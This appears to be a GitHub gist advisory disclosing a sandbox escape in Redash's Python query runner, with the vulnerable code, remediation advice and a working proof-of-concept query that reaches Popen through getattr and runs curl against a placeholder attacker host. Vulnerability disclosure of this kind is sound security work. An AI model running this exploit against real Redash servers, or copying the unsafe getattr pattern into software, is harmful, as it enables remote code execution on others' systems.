Skip to content

Instantly share code, notes, and snippets.

@superboy-zjc
Created April 10, 2025 19:25
Show Gist options
  • Select an option

  • Save superboy-zjc/1f89d375e2408ed843dc2cf0bb1bb894 to your computer and use it in GitHub Desktop.

Select an option

Save superboy-zjc/1f89d375e2408ed843dc2cf0bb1bb894 to your computer and use it in GitHub Desktop.
Python Sandbox Escape in Redash, leading to RCE

Python Sandbox Escape in Redash, leading to RCE

Summary

Redash is a popular open-source platform for visualizing and querying data. It uses RestrictedPython as its sandbox environment to securely execute Python queries. In its documentation, redash claims their default 25 builtin functions are considered safe. However, redash insecurely restores access to the getattr builtin function which was supposed to be overwritten by the secure version of safer_getattr implemented in Restricted Python. This leads to sandbox escape without any extra module importation needed.

Root Cause

The vulnerable code can be notified in its python sandbox implementation where an insecure version of getattr assigned to the builtins:

# https://github.com/getredash/redash/blob/eced377ae413903b09ca97dc2ea5e944ac8e46e0/redash/query_runner/python.py#L318
def run_query(self, query, user):
    self._current_user = user

    try:
        error = None

        code = compile_restricted(query, "<string>", "exec")

        builtins = safe_builtins.copy()
        ...
        builtins["_getattr_"] = getattr
        builtins["getattr"] = getattr
        ...

Proof of Concept

  • Create a python data source
  • Create a python query
  • Run the exploitation query code
      a=getattr(getattr(getattr("","__class__"),"__base__"),"__subclasses__")()
      b=1
      for id, item in enumerate(a):
          try:
              if "Popen" in str(item):
                  b = id
          except:
              pass
      res=a[b](["curl", "http://ATTACKER_VPS/"])
      result={"rows":[str(res)], "columns": [1]}

By abusing the insecure getattr builtin function, the exploit captures a snapshot of all subclasses of the object class from Redash’s runtime memory. It then searches for the Popen class within the snapshot and instantiates it to execute arbitrary system commands. image

Remediation

  • Consider using RestrictedPython's secure _getattr_ and getattr.
  • Use hardened built-ins provided by RestrictedPython to ensure proper sandbox isolation.
  • Consider additional runtime hardening such as:
    • Running Python queries inside isolated containers.
    • Applying Linux sandboxing (e.g., AppArmor, seccomp).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment